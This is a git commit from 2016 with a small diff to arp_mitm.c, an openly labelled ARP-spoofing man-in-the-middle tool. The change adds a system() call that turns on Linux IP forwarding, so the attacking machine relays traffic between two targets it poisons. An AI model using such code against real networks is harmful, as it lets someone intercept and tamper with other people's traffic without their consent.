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Enable IP forwarding before launching MITM attack

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This commit is contained in:
Dimitri Lozeve 2016-06-04 09:19:33 +02:00
parent 59b41bc99d
commit 1b3f658c22
1 changed files with 7 additions and 1 deletions
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8
arp_mitm.c
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@ -144,8 +144,14 @@ int main(int argc, char **argv)
/* ====================================================================== */ /* ====================================================================== */
send_arp_request(sockfd, ifindex, ipaddr, macaddr, target1_ip); /* Ensures IP forwarding is enabled on Linux, in order to make he
attacker "transparent" to packets moving form target1 to
target2. This is not persistent on reboot. */
system("echo 1 > /proc/sys/net/ipv4/ip_forward");
/* We send normal requests to both targets in order to get their
hardware addresses. */
send_arp_request(sockfd, ifindex, ipaddr, macaddr, target1_ip);
struct ether_arp reply1; struct ether_arp reply1;
listen_arp_frame(sockfd, &reply1); listen_arp_frame(sockfd, &reply1);
unsigned char *macaddr1 = reply1.arp_sha; unsigned char *macaddr1 = reply1.arp_sha;